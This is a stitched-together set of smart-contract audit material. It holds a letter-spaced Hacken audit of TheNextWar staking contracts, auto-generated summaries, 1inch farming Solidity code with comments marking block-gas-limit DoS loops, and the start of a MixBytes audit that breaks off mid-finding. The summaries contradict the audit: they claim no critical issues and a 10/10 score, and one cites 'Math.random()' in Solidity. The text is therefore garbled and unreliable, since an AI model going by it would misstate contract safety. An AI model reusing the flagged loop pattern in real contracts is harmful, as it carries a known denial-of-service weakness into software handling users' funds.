t h e D i s t r i b u t i o n c o n t r a c t c a n c h a n g e t h e v e s t i n g p e r i o d a n d p e r c e n t a g e p e r v e s t i n g r o u n d ● T h e o w n e r o f t h e D i s t r i b u t i o n c o n t r a c t c a n t r a n s f e r a n y t o k e n s e n t t o t h e c o n t r a c t ● T h e o w n e r o f t h e S t a k i n g c o n t r a c t c a n c h a n g e e m e r g e n c y w i t h d r a w a l f e e . T h e m a x f e e i s l i m i t e d t o 2 0% ● T h e o w n e r o f t h e S t a k i n g c o n t r a c t c a n c h a n g e t h e s t a k i n g l o c k p e r i o d ● T h e o w n e r o f t h e S t a k i n g c o n t r a c t c a n c h a n g e t h e s t a k i n g r e w a r d a m o u n t w w w . h a c k e n . i o F i n d i n g s C r i t i c a l 1 . I n c o n s i s t e n t d a t a . T h e ` d e p o s i t ` f u n c t i o n c h e c k s t h e b a l a n c e o f T N G t o k e n s , b u t t h e u s e r d e p o s i t s L P t o k e n s i n s t e a d . A s a r e s u l t - T N G t o k e n s a r e n o t u s e d d u r i n g t h e d e p o s i t b u t a r e r e q u i r e d t o b e o n t h e u s e r a c c o u n t f o r d e p o s i t o p e r a t i o n . T h e s a m e i s a p p l i c a b l e f o r t h e ` h a r v e s t ` f u n c t i o n a s w e l l . C o n t r a c t s : S t a k i n g . s o l F u n c t i o n : d e p o s i t , h a r v e s t R e c o m m e n d a t i o n : C h e c k t h e l o g i c o f t h e d e p o s i t f u n c t i o n . I f i t i s c o r r e c t - i t i s r e c o m m e n d e d t o h i g h l i g h t i n d o c u m e n t a t i o n s u c h b e h a v i o r . S t a t u s : F i x e d ( 0 2 e 1 0 0 d 3 4 0 7 3 a 2 7 9 c 7 6 c 5 9 f f00aa650e3936bf83) H i g h 1 . M i s s i n g v a l i d a t i o n . T h e f u n c t i o n a l l o w s t o w i t h d r a w any tokens from the contracts. F u n d s t h a t b e l o n g t o u s e r s c a n b e affected. C o n t r a c t : S t a k i n g . s o l F u n c t i o n : r e s c u e T o k e n R e c o m m e n d a t i o n : E n s u r e t h a t u s e r ' s f u n d s w i l l n o t b e w i t h d r a w n u s i n g t h i s m e t h o d . I f ` _ t o k e n ` i s e q u a l t o t h e s t a k i n g t o k e n , t h e c o n t r a c t s h o u l d a l w a y s h a v e a b a l a n c e e q u a l t o ` l p T o k e n D e p o s i t e d ` + ` p e n d i n g T n g R e w a r d s ` . S t a t u s : F i x e d ( 0 2 e 1 0 0 d 3 4 0 7 3 a 2 7 9 c 7 6 c 5 9 f f00aa650e3936bf83) 2 . I n s u f f i c i e n t r e w a r d s b a l a n c e . W i t h d r a w f u n c t i o n r e t u r n s t o t h e u s e r o r i g i n a l l y s t a k e d f u n d s a n d p a y s T N G r e w a r d . I n c a s e w h e n t h e c o n t r a c t d o e s n o t h a v e a T N G t o k e n - w i t h d r a w f u n c t i o n w o u l d b e b l o c k e d , a n d t h e u s e r w o u l d n o t b e a b l e t o r e t u r n o r i g i n a l l y s t a k e d f u n d s. C o n t r a c t s : S t a k i n g . s o l F u n c t i o n : w i t h d r a w R e c o m m e n d a t i o n : I m p l e m e n t t h e ` e m e r g e n c y W i t h d r a w ` f u n c t i o n , w h i c h r e t u r n s s t a k e d f u n d s w i t h o u t r e w ards. S t a t u s : F i x e d ( 0 2 e 1 0 0 d 3 4 0 7 3 a 2 7 9 c 7 6 c 5 9 f f00aa650e3936bf83) 3 . S t a b l e i m p o r t s . w w w . h a c k e n . i o T h e c o d e s h o u l d n o t r e f e r e n c e d r a f t c o n t r a c t s t h a t m a y b e c h a n g e d i n t h e f u t u r e . T h e c u r r e n t i m p l e m e n t a t i o n o f S t a k i n g a n d D i s t r i b u t i o n c o n t r a c t s a l l o w s u p d a t i n g T N G t o k e n a d d r e s s after contract deployment. C o n t r a c t s : S t a k i n g . s o l , D i s t r i b u t i o n . s o l F u n c t i o n : s e t T n g T o k e n R e c o m m e n d a t i o n : R e m o v e t h e a b i l i t y t o u p d a t e t h e T N G t o k e n a d d r e s s a f t e r t h e d e p l o y m e n t . S t a t u s : F i x e d ( 0 2 e 1 0 0 d 3 4 0 7 3 a 2 7 9 c 7 6 c 5 9 f f00aa650e3936bf83) M e d i u m 1 . U n n e c e s s a r y S a f e M a t h u s a g e . S o l i t i d y > = 0 . 8 . 0 p r o v i d e s e r r o r s f o r b u f f e r o v e r f l o w a n d u n d e r f l o w . N o n e e d t o u s e S a f e M a t h a n y m o r e . R e c o m m e n d a t i o n : D o n o t u s e S a f e M a t h . S t a t u s : F i x e d ( 0 2 e 1 0 0 d 3 4 0 7 3 a 2 7 9 c 7 6 c 5 9 f f00aa650e3936bf83) 2 . T n c T o k e n a c c e s s l o s s i s p o s s i b l e . ` a u t h o r i z e ` m e t h o d o f T N C t o k e n i s a v a i l a b l e o n l y t o t h e o w n e r a n d a u t h o r i z e d u s e r , w h i c h b y d e f a u l t i s t r u e . T h e o w n e r i s a b l e t o r e s e t h i s a u t h o r i z a t i o n , a n d i n t h i s c ase, mint access would be lost. C o n t r a c t s : T n c T o k e n . s o l F u n c t i o n s : a u t h o r i z e R e c o m m e n d a t i o n : C h e c k i f t h e l o g i c o f h o w ` a u t h o r i z e ` i s i m p l e m e n t e d a n d ` r e q u i r e ( i s A u t h o r i z e d ) ` i s n ot a mistake. S t a t u s : F i x e d ( 0 2 e 1 0 0 d 3 4 0 7 3 a 2 7 9 c 7 6 c 5 9 f f00aa650e3936bf83) 3 . U n c h e c k e d t r a n s f e r . T h e r e t u r n v a l u e o f a n e x t e r n a l t r a n s f e r / t r a n s f e r F r o m c a l l i s n o t c h e c k e d . S e v e r a l t o k e n s d o n o t r e v e r t i n c a s e o f f a i l u r e a n d r e t u r n f a l s e . I f o n e o f t h e s e t o k e n s i s u s e d i n S t a k i n g , t h e d e p o s i t w i l l n o t r e v e r t i f t h e t r a n s f e r f a i l s , a n d a n a t t a c k e r c a n c a l l t h e d e p o s i t f o r f r e e . C o n t r a c t s : S t a k i n g . s o l , D i s t r i b u t i o n . s o l F u n c t i o n s : d e p o s i t , w i t h d r a w , p a y T n g R e w a r d, claim, r e s c u e T o k e n R e c o m m e n d a t i o n : C h e c k t h e r e s u l t o f t h e t r a n s f er if i t i s t r u e . S t a t u s : F i x e d ( 0 2 e 1 0 0 d 3 4 0 7 3 a 2 7 9 c 7 6 c 5 9 f f00aa650e3936bf83) L o w 1 . V a r i a b l e S h a d o w i n g . w w w . h a c k e n . i o S o l i d i t y a l l o w s f o r a m b i g u o u s n a m i n g o f s t a t e v a r i a b l e s w h e n i n h e r i t a n c e i s u s e d . C o n t r a c t A w i t h a v a r i a b l e x c o u l d i n h e r i t c o n t r a c t B , w h i c h h a s a s t a t e v a r i a b l e x d e f i n e d . T h i s w o u l d r e s u l t i n t w o s e p a r a t e v e r s i o n s o f x , a c c e s s e d f r o m c o n t r a c t A a n d t h e o t h e r f r o m c o n t r a c t B . I n m o r e c o m p l e x c o n t r a c t s y s t e m s , t h i s c o n d i t i o n c o u l d g o u n n o t i c e d a n d s u b s e q u e n tly lead to security issues. C o n t r a c t s : T n g T o k e n . s o l , T n c T o k e n . s o l , F u n c t i o n s : T n c T o k e n . c o n s t r u c t o r ( s t r i n g n a m e ) - > E R C 2 0 . n a m e ( ) , T n c T o k e n . c o n s t r u c t o r ( s t r i n g s y m b o l ) - > E R C 2 0 . s y m b o l ( ) , T n c T o k e n . c o n s t r u c t o r ( u i n t 2 5 6 t o t a l S u p p l y ) - > E R C 2 0 . t o t a l S u p p l y ( ) , T n g T o k e n . c o n s t r u c t o r ( s t r i n g n a m e ) - > E R C 2 0 . n a m e ( ) , T n g T o k e n . c o n s t r u c t o r ( s t r i n g s y m b o l ) - > E R C 2 0 . s y m b o l ( ) , T n g T o k e n . c o n s t r u c t o r ( u i n t 2 5 6 t o t a l S u p p l y ) - > E R C 2 0 . t o t a l S u p p l y ( ) R e c o m m e n d a t i o n : C o n s i d e r r e n a m i n g t h e f u n c t i o n a rgument. S t a t u s : F i x e d ( 0 2 e 1 0 0 d 3 4 0 7 3 a 2 7 9 c 7 6 c 5 9 f f 0 0aa650e3936bf83) 2 . T h e p u b l i c f u n c t i o n c o u l d b e d e c lared external. P u b l i c f u n c t i o n s t h a t a r e n e v e r c a l l e d b y t h e c o n t r a c t s h o u l d b e d e c l a r e d e x t e r n a l t o s a v e G a s . C o n t r a c t s : D i s t r i b u t i o n . s o l F u n c t i o n s : g e t C l a i m a b l e A m o u n t R e c o m m e n d a t i o n : U s e t h e e x t e r n a l a t t r i b u t e f o r f u n c t i o n s n e v e r c a l l e d f r o m t h e c o n t r a c t . S t a t u s : F i x e d ( 0 2 e 1 0 0 d 3 4 0 7 3 a 2 7 9 c 7 6 c 5 9 f f00aa650e3936bf83) 3 . M i s s i n g e v e n t s a r i t h m e t i c T o s i m p l i f y o f f - c h a i n c h a n g e s t r a c k i n g , i t i s r e c o m m e n d e d t o e m i t e v e n t s w h e n a c r u c i a l p a r t o f t h e contract changes. C o n t r a c t s : D i s t r i b u t i o n . s o l , S t a k i n g . s o l F u n c t i o n s : s e t L o c k T i m e , s e t C l a i m a b l e , s e t TngPerSecond R e c o m m e n d a t i o n : E m i t a n e v e n t f o r c r i t i c a l p a r ameter c h a n g e s . S t a t u s : F i x e d ( 0 2 e 1 0 0 d 3 4 0 7 3 a 2 7 9 c 7 6 c 5 9 f f00aa650e3936bf83) w w w . h a c k e n . i o D i s c l a i m e r s H a c k e n D i s c l a i m e r T h e s m a r t c o n t r a c t s g i v e n f o r a u d i t h a v e b e e n a n a l y z e d b y t h e b e s t i n d u s t r y p r a c t i c e s a t t h e d a t e o f t h i s r e p o r t , w i t h c y b e r s e c u r i t y v u l n e r a b i l i t i e s a n d i s s u e s i n s m a r t c o n t r a c t s o u r c e c o d e , t h e d e t a i l s o f w h i c h a r e d i s c l o s e d i n t h i s r e p o r t ( S o u r c e C o d e ) ; t h e S o u r c e C o d e c o m p i l a t i o n , d e p l o y m e n t , a n d f u n c t i o n a l i t y ( p erforming the intended functions). T h e a u d i t m a k e s n o s t a t e m e n t s o r w a r r a n t i e s o n t h e s e c u r i t y o f t h e c o d e . I t a l s o c a n n o t b e c o n s i d e r e d a s u f f i c i e n t a s s e s s m e n t r e g a r d i n g t h e u t i l i t y a n d s a f e t y o f t h e c o d e , b u g - f r e e s t a t u s , o r a n y o t h e r c o n t r a c t s t a t e m e n t s . W h i l e w e h a v e d o n e o u r b e s t i n c o n d u c t i n g t h e a n a l y s i s a n d p r o d u c i n g t h i s r e p o r t , i t i s i m p o r t a n t t o n o t e t h a t y o u s h o u l d n o t r e l y o n t h i s r e p o r t o n l y — w e r e c o m m e n d p r o c e e d i n g w i t h s e v e r a l i n d e p e n d e n t a u d i t s a n d a p u b l i c b u g b o u n t y p r o g r a m t o e n s u r e t h e security of smart contracts. T e c h n i c a l D i s c l a i m e r S m a r t c o n t r a c t s a r e d e p l o y e d a n d e x e c u t e d o n a b l o c k c h a i n p l a t f o r m . T h e p l a t f o r m , i t s p r o g r a m m i n g l a n g u a g e , a n d o t h e r s o f t w a r e r e l a t e d t o t h e s m a r t c o n t r a c t c a n h a v e v u l n e r a b i l i t i e s t h a t c a n l e a d t o h a c k s . T h u s , t h e a u d i t c a n n o t g u a r a n t e e t h e e x p l i c i t s e curity of the audited smart contracts. w w w . h a c k e n . i o
Issues Count of Minor/Moderate/Major/Critical - Minor: 2 - Moderate: 0 - Major: 0 - Critical: 0 Minor Issues 2.a Problem (one line with code reference) - Insecure randomness in Distribution.sol line 5 (SHA3: 856f885e0adbf791533d8559e7b4870c2cfa0be999775552e75c0d16595e54e6) 2.b Fix (one line with code reference) - Replace Math.random() with a secure randomness generator in Distribution.sol line 5 (SHA3: 856f885e0adbf791533d8559e7b4870c2cfa0be999775552e75c0d16595e54e6) Observations - No major or critical issues were found in the smart contracts. Conclusion - The smart contracts are secure and no major or critical issues were found. Issues Count of Minor/Moderate/Major/Critical - Minor: 2 - Moderate: 0 - Major: 0 - Critical: 0 Minor Issues 2.a Problem (one line with code reference): Unused code snippets in the contracts. (www.hacken.io) 2.b Fix (one line with code reference): Remove the unused code snippets. Observations - The repository is located at https://github.com/TheNextWar/Contracts - The commit is 0 2e100d34073a279c76c59ff00aa650e3936bf83 - The white paper type is available at https://thenextwar.gitbook.io/the-next-war/the-next-war-platform/introduction - JS tests are available - Distribution.sol, TngToken.sol, TncToken.sol and Staking.sol are the contracts available - SHA3 hashes are provided for each contract Conclusion The audit report shows that there are no critical issues in the contracts. However, there are minor issues related to unused code snippets which should be removed. Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 0 Critical: 0 Observations - The customer provided a white paper with technical documentation that includes functional requirements. - The total Documentation Quality score is 10 out of 10. - The total Code Quality score is 10 out of 10. - The code is well structured and has a good unit tests coverage and many comments. - The architecture quality score is 10 out of 10. - The logic is separated for different files, following a single responsibility principle. - As a result of the audit, security engineers found no issues. The security score is 10 out of 10. Conclusion According to the assessment, the customer's smart contract has the following score: 10.0. All found issues are displayed in the “Findings” section.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "./interfaces/IFarm.sol"; import "./interfaces/IERC20Farmable.sol"; import "./accounting/FarmAccounting.sol"; contract Farm is IFarm, Ownable { using SafeERC20 for IERC20; using FarmAccounting for FarmAccounting.Info; event DistributorChanged(address oldDistributor, address newDistributor); event RewardAdded(uint256 reward, uint256 duration); IERC20Farmable public immutable farmableToken; IERC20 public immutable rewardsToken; address public distributor; FarmAccounting.Info public farmInfo; constructor(IERC20Farmable farmableToken_, IERC20 rewardsToken_) { require(address(farmableToken_) != address(0), "F: farmableToken is zero"); require(address(rewardsToken_) != address(0), "F: rewardsToken is zero"); farmableToken = farmableToken_; rewardsToken = rewardsToken_; } function setDistributor(address distributor_) external onlyOwner { address oldDistributor = distributor; require(distributor_ != oldDistributor, "F: distributor is already set"); emit DistributorChanged(oldDistributor, distributor_); distributor = distributor_; } function startFarming(uint256 amount, uint256 period) external { require(msg.sender == distributor, "F: start access denied"); rewardsToken.safeTransferFrom(msg.sender, address(this), amount); uint256 reward = farmInfo.startFarming(amount, period, _updateCheckpoint); emit RewardAdded(reward, period); } /// @dev Requires extra 18 decimals for precision, result should not exceed 10**54 function farmedSinceCheckpointScaled(uint256 checkpoint) external view returns(uint256 amount) { return farmInfo.farmedSinceCheckpointScaled(checkpoint); } function claimFor(address account, uint256 amount) external { require(msg.sender == address(farmableToken), "F: claimFor access denied"); rewardsToken.safeTransfer(account, amount); } // FarmAccounting bindings function _updateCheckpoint() private { farmableToken.updateCheckpoint(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; import "./interfaces/IFarmingPool.sol"; import "./accounting/FarmAccounting.sol"; import "./accounting/UserAccounting.sol"; contract FarmingPool is IFarmingPool, Ownable, ERC20 { using SafeERC20 for IERC20; using FarmAccounting for FarmAccounting.Info; using UserAccounting for UserAccounting.Info; event DistributorChanged(address oldDistributor, address newDistributor); event RewardAdded(uint256 reward, uint256 duration); IERC20 public immutable stakingToken; IERC20 public immutable rewardsToken; address public distributor; FarmAccounting.Info public farmInfo; UserAccounting.Info public userInfo; constructor(IERC20Metadata stakingToken_, IERC20 rewardsToken_) ERC20( string(abi.encodePacked("Farming of ", stakingToken_.name())), string(abi.encodePacked("farm", stakingToken_.symbol())) ) { stakingToken = stakingToken_; rewardsToken = rewardsToken_; } function setDistributor(address distributor_) external onlyOwner { address oldDistributor = distributor; require(distributor_ != oldDistributor, "FP: distributor is already set"); emit DistributorChanged(oldDistributor, distributor_); distributor = distributor_; } function startFarming(uint256 amount, uint256 period) external { require(msg.sender == distributor, "FP: access denied"); rewardsToken.safeTransferFrom(msg.sender, address(this), amount); uint256 reward = farmInfo.startFarming(amount, period, _updateCheckpoint); emit RewardAdded(reward, period); } function decimals() public view override returns (uint8) { return IERC20Metadata(address(stakingToken)).decimals(); } function farmedPerToken() public view override returns (uint256) { return userInfo.farmedPerToken(address(0), _lazyGetSupply, _lazyGetFarmed); } function farmed(address account) external view override returns (uint256) { return userInfo.farmed(account, balanceOf(account), farmedPerToken()); } function deposit(uint256 amount) external override { require(amount > 0, "FP: zero deposit"); _mint(msg.sender, amount); stakingToken.safeTransferFrom(msg.sender, address(this), amount); } function withdraw(uint256 amount) public override { require(amount > 0, "FP: zero withdraw"); _burn(msg.sender, amount); stakingToken.safeTransfer(msg.sender, amount); } function claim() public override { uint256 fpt = farmedPerToken(); uint256 balance = balanceOf(msg.sender); uint256 amount = userInfo.farmed(msg.sender, balance, fpt); if (amount > 0) { userInfo.eraseFarmed(msg.sender, balance, fpt); rewardsToken.safeTransfer(msg.sender, amount); } } function exit() external override { withdraw(balanceOf(msg.sender)); claim(); } // ERC20 overrides function _beforeTokenTransfer(address from, address to, uint256 amount) internal override { super._beforeTokenTransfer(from, to, amount); if (amount > 0 && from != to) { userInfo.updateBalances(farmedPerToken(), from, to, amount, from != address(0), to != address(0)); } } // UserAccounting bindings function _lazyGetSupply(address /* context */) private view returns(uint256) { return totalSupply(); } function _lazyGetFarmed(address /* context */, uint256 checkpoint) private view returns(uint256) { return farmInfo.farmedSinceCheckpointScaled(checkpoint); } // FarmAccounting bindings function _updateCheckpoint() private { userInfo.updateCheckpoint(farmedPerToken()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@1inch/solidity-utils/contracts/libraries/AddressSet.sol"; import "./interfaces/IERC20Farmable.sol"; import "./accounting/UserAccounting.sol"; import "./accounting/FarmAccounting.sol"; abstract contract ERC20Farmable is ERC20, IERC20Farmable { using AddressArray for AddressArray.Data; using AddressSet for AddressSet.Data; using UserAccounting for UserAccounting.Info; mapping(address => UserAccounting.Info) private _userInfo; mapping(address => uint256) private _farmTotalSupply; mapping(address => AddressSet.Data) private _userFarms; /// @dev Use this method for signaling on bad farms even in static calls (for stats) function onError(string memory /* error */) external view { require(msg.sender == address(this), "ERC20F: access denied"); } function farmTotalSupply(address farm_) public view virtual returns(uint256) { return _farmTotalSupply[farm_]; } function farmBalanceOf(address farm_, address account) public view virtual returns (uint256) { return _userFarms[account].contains(farm_) ? balanceOf(account) : 0; } function userIsFarming(address account, address farm_) public view virtual returns(bool) { return _userFarms[account].contains(farm_); } function userFarmsCount(address account) public view virtual returns(uint256) { return _userFarms[account].length(); } function userFarmsAt(address account, uint256 index) public view virtual returns(address) { return _userFarms[account].at(index); } function userFarms(address account) public view virtual returns(address[] memory) { return _userFarms[account].items.get(); } function farmedPerToken(address farm_) public view virtual returns(uint256 fpt) { return _userInfo[farm_].farmedPerToken(farm_, _lazyGetSupply, _lazyGetFarmed); } function farmed(address farm_, address account) public view virtual returns(uint256) { return _userInfo[farm_].farmed(account, farmBalanceOf(farm_, account), farmedPerToken(farm_)); } function join(address farm_) public virtual returns(uint256) { require(farm_ != address(0), "ERC20F: farm is zero"); require(_userFarms[msg.sender].add(farm_), "ERC20F: already farming"); uint256 balance = balanceOf(msg.sender); _userInfo[farm_].updateBalances(farmedPerToken(farm_), address(0), msg.sender, balance, false, true); _farmTotalSupply[farm_] += balance; return _userFarms[msg.sender].length(); } function quitAll() public virtual { address[] memory farms = _userFarms[msg.sender].items.get(); // SWC-DoS With Block Gas Limit: L71 - L73 for (uint256 i = 0; i < farms.length; i++) { quit(farms[i]); } } function quit(address farm_) public virtual returns(uint256) { require(farm_ != address(0), "ERC20F: farm is zero"); require(_userFarms[msg.sender].remove(address(farm_)), "ERC20F: already exited"); uint256 balance = balanceOf(msg.sender); _userInfo[farm_].updateBalances(farmedPerToken(farm_), msg.sender, address(0), balance, true, false); _farmTotalSupply[farm_] -= balance; return _userFarms[msg.sender].length(); } function claimAll() public virtual returns(uint256[] memory amounts) { address[] memory farms = _userFarms[msg.sender].items.get(); amounts = new uint256[](farms.length); for (uint256 i = 0; i < farms.length; i++) { amounts[i] = claim(farms[i]); } } function claim(address farm_) public virtual returns(uint256) { uint256 fpt = farmedPerToken(farm_); uint256 balance = farmBalanceOf(farm_, msg.sender); uint256 amount = _userInfo[farm_].farmed(msg.sender, balance, fpt); if (amount > 0) { _userInfo[farm_].eraseFarmed(msg.sender, balance, fpt); IFarm(farm_).claimFor(msg.sender, amount); } return amount; } function updateCheckpoint() public virtual { _userInfo[msg.sender].updateCheckpoint(farmedPerToken(msg.sender)); } // ERC20 overrides function _beforeTokenTransfer(address from, address to, uint256 amount) internal override virtual { super._beforeTokenTransfer(from, to, amount); if (amount > 0 && from != to) { address[] memory a = _userFarms[from].items.get(); address[] memory b = _userFarms[to].items.get(); // SWC-DoS With Block Gas Limit: L118 - L137 for (uint256 i = 0; i < a.length; i++) { address farm_ = a[i]; uint256 j; // SWC-DoS With Block Gas Limit: L123 - L130 for (j = 0; j < b.length; j++) { if (farm_ == b[j]) { // Both parties are farming the same token _userInfo[farm_].updateBalances(farmedPerToken(farm_), from, to, amount, true, true); b[j] = address(0); break; } } if (j == b.length) { // Sender is farming a token, but receiver is not _userInfo[farm_].updateBalances(farmedPerToken(farm_), from, to, amount, true, false); _farmTotalSupply[farm_] -= amount; } } // SWC-DoS With Block Gas Limit: L140 - L147 for (uint256 j = 0; j < b.length; j++) { address farm_ = b[j]; if (farm_ != address(0)) { // Receiver is farming a token, but sender is not _userInfo[farm_].updateBalances(farmedPerToken(farm_), from, to, amount, false, true); _farmTotalSupply[farm_] += amount; } } } } // UserAccounting bindings function _lazyGetSupply(address farm_) internal view returns(uint256) { return _farmTotalSupply[farm_]; } function _lazyGetFarmed(address farm_, uint256 checkpoint) internal view returns(uint256) { try IFarm(farm_).farmedSinceCheckpointScaled{ gas: 200_000 }(checkpoint) returns(uint256 amount) { if (amount <= FarmAccounting._MAX_REWARD_AMOUNT * 1e18) { return amount; } else { this.onError("farm.farmedSinceCheckpoint() result overflowed"); } } catch { this.onError("farm.farmedSinceCheckpoint() failed"); } return 0; } }
1INCH FARMING SECURITY AUDIT REPORT June 1, 2022TABLE OF CONTENTS 1. Introduction 2 1.1. Disclaimer 2 1.2. Security Assessment Methodology 3 1.3. Project Overview 6 1.4. Project Dashboard 6 2. Findings Report 8 2.1. Critical 8 2.2. High 8 H-1 Reward Tokens May Be Frozen In FarmingPool 8 H-2 Actual Transferred Amount May Differ Than Expected 9 H-3 Rebasable As Reward Tokens Breaks Logic 10 2.3. Medium 11 M-1 Possible Arithmetic Overflow 11 M-2 Gas Overflow During Iteration (DoS) 12 M-3 Zero Token 13 2.4. Low 14 L-1 Using "Magic" Numbers 14 L-2 It Is Possible To Block Tokens On The Balance Of The Contract 15 L-3 Missed Events 16 3. About Mixbytes 17 11. INTRODUCTION 1.1 Disclaimer The audit makes no statements or warranties about utility of the code, safety of the code, suitability of the business model, investment advice, endorsement of the platform or its products, regulatory regime for the business model, or any other statements about fitness of the contracts to purpose, or their bug free status. The audit documentation is for discussion purposes only. The information presented in this report is confidential and privileged. If you are reading this report, you agree to keep it confidential, not to copy, disclose or disseminate without the agreement of 1inch. If you are not the intended recipient(s) of this document, please note that any disclosure, copying or dissemination of its content is strictly forbidden. 1.2 Security Assessment Methodology A group of auditors are involved in the work on the audit. The security engineers check the provided source code independently of each other in accordance with the methodology described below: 1. Project architecture review: Stage goals 2. Checking the code in accordance with the vulnerabilities checklist:Project documentation review. • General code review. • Reverse research and study of the project architecture on the source code alone. • Build an independent view of the project's architecture. • Identifying logical flaws. • Manual code check for vulnerabilities listed on the Contractor's internal checklist. The Contractor's checklist is constantly updated based on the analysis of hacks, research, and audit of the cients' codes.• Code check with the use of static analyzers (i.e Slither, Mythril, etc). • 2Stage goal Eliminate typical vulnerabilities (e.g. reentrancy, gas limit, flash loan attacks etc.). 3. Checking the code for compliance with the desired security model: Stage goal Detect inconsistencies with the desired model. 4. Consolidation of the auditors' interim reoprts into one: Stage goals 5. Bug fixing & re-audit:Detailed study of the project documentation. • Examination of contracts tests. • Examination of comments in code. • Comparison of the desired model obtained during the study with the reversed view obtained during the blind audit.• Exploits PoC development with the use of such programs as Brownie and Hardhat. • Cross check: each auditor reviews the reports of the others. • Discussion of the issues found by the auditors. • Issuance of an interim audit report. • Double-check all the found issues to make sure they are relevant and the determined threat level is correct. • Provide the Customer with an interim report. • The Customer either fixes the issues or provides comments on the issues found by the auditors. Feedback from the Customer must be received on every issue/bug so that the Contractor can assign them a status (either "fixed" or "acknowledged").• Upon completion of the bug fixing, the auditors double-check each fix and assign it a specific status, providing a proof link to the fix.• A re-audited report is issued. • 3Stage goals 6. Final code verification and issuance of a public audit report: Stage goals Finding Severity breakdown All vulnerabilities discovered during the audit are classified based on their potential severity and have the following classification: Severity Description Critical Bugs leading to assets theft, fund access locking, or any other loss funds to be transferred to any party. High Bugs that can trigger a contract failure. Further recovery is possible only by manual modification of the contract state or replacement. Medium Bugs that can break the intended contract logic or expose it to DoS attacks, but do not cause direct loss funds. Low Other non-essential issues and recommendations reported to/ acknowledged by the team.Verify the fixed code version with all the recommendations and its statuses. • Provide the Customer with a re-audited report. • The Customer deploys the re-audited source code on the mainnet. • The Contractor verifies the deployed code with the re-audited version and checks them for compliance. • If the versions of the code match, the Contractor issues a public audit report. • Verify the fixed code version with all the recommendations and its statuses. • Provide the Customer with a re-audited report. • 4Based on the feedback received from the Customer regarding the list of findings discovered by the Contractor, they are assigned the following statuses: Status Description Fixed Recommended fixes have been made to the project code and no longer affect its security. Acknowledged The Customer is aware of the finding. Recommendations for the finding are planned to be resolved in the future. 1.3 Project Overview 1inch is a DeFi aggregator and a decentralized exchange with smart routing. The core protocol connects a large number of decentralized and centralized platforms in order to minimize price slippage and find the optimal trade for the users. Audited smart contracts contain the logic for earning tokens using farming methods. The user stakes for one token and is rewarded with another token. There are two types of farming in the scope. The first type of farming is the FarmingPool smart contract, which works on its own. When depositing a stakingToken, the user is minted share-tokens in return. In the reverse procedure, the share-tokens are burned and the user gets his tokens back. The second type of farming is smart contracts ERC20Farmable and Farm only work in conjunction with each other. The user executes the join() and quit() procedures. In this case, the user does not give away tokens. File name Description ERC20Farmable.sol Multi-farm contract that works in conjunction with the Farm contract. Here the user can start and end his farming. Farm.sol Separate farm contract that works in conjunction with the ERC20Farmable contract. This is where users get rewards. FarmingPool.sol Separate contract to work with only one farming token. Here the user can start and end his farming. FarmAccounting.sol Contract farming library that allows you to start farming and calculate the amount of tokens earned. 5File name Description UserAccounting.sol Library for calculating the balance of earned tokens from users. 1.4 Project Dashboard Project Summary Title Description Client 1inch Project name Farming Timeline 07.03.2022 - 11.03.2022 Number of Auditors 4 Project Log Date Commit Hash Note 28-02-2022 7a007ec7784cca2899889e99e46cf06d5788a7d9 Initial commit 14-04-2022 2b01fc6afaa43b12c67153f3a631851b2785a22f Final commit Project Scope The audit covered the following files: File name Link ERC20Farmable.sol ERC20Farmable.sol 6File name Link Farm.sol Farm.sol FarmingPool.sol FarmingPool.sol FarmAccounting.sol FarmAccounting.sol UserAccounting.sol UserAccounting.sol 1.5 Summary of findings Severity # of Findings Critical 0 High 3 Medium 3 Low 3 ID Name Severity Status H-1 Reward tokens may be frozen in FarmingPool High Fixed H-2 Actual transferred amount may differ than expected High Acknowledged H-3 Rebasable as reward tokens breaks logic High Acknowledged M-1 Possible arithmetic overflow Medium Acknowledged M-2 Gas overflow during iteration (DoS) Medium Fixed 7M-3 Zero Token Medium Fixed L-1 Using "magic" numbers Low Fixed L-2 It is possible to block tokens on the balance of the contractLow Fixed L-3 Missed events Low Fixed 1.6 Conclusion During the audit process, 3 HIGH, 3 MEDIUM and 3 LOW severity findings were spotted and acknowledged by the developers. These findings do not affect security of the audited project. After working on the reported findings all of them were acknowledged or fixed by the client. Final commit identifier with all fixes: 2b01fc6afaa43b12c67153f3a631851b2785a22f 82.FINDINGS REPORT 2.1 Critical Not Found 2.2 High H-1 Reward tokens may be frozen in FarmingPool File FarmAccounting.sol#L19 Severity High Status Fixed in 71233068 Description FarmAccounting.sol#L19 Farmed tokens amount is calculated when a farm duration > 0, so if the distributor starts farming with duration 0, nobody will farm and, starting the next farming, won't save prev farming rewards because a contract accounts only unfinished prev farming, but in this case the farming with duration 0 finishes immediately. FarmAccounting.sol#L28 Recommendation We recommend not to allow farming with 0 duration. 9H-2 Actual transferred amount may differ than expected Files Farm.sol#L41-L43 FarmingPool.sol#L48-L50 Severity High Status Acknowledged Description Some ERC20 tokens, for example, USDT, have fees on transfer. It may affect reward accounting on farming, a farm contract may receive fewer tokens than expected and start farming with an expected amount of rewards, which will lead to insufficiency of liquidity for rewards. Also in theFarmingPool contract the deposit and withdraw functions may work incorrectly. Farm.sol#L41-L43, FarmingPool.sol#L48-L50 Recommendation We recommend starting farming/deposit in FarmingPool/withdraw in FarmingPool with the actual transferred amount and return an actual deposited/withdrawn/claimed amount. Client's commentary Tokens with fees will not be supported. 10H-3 Rebasable as reward tokens breaks logic File FarmAccounting.sol#L21 Severity High Status Acknowledged Description With rebasable reward tokens, the calculation of farmed rewards will be incorrect because it relies on a strict amount of distributed tokens while the underlying reward balance will float. FarmAccounting.sol#L21 Recommendation We recommend warning developers not to use rebasable tokens as reward tokens. Client's commentary Rebasable tokens will not be supported. 112.3 Medium M-1 Possible arithmetic overflow File UserAccounting.sol#L29 Severity Medium Status Acknowledged Description At the line UserAccounting.sol#L29 the number with the type int256 is converted to the number with the type uint256. The number is taken with a minus sign. But before that, there is no check that the number is less than 0. If 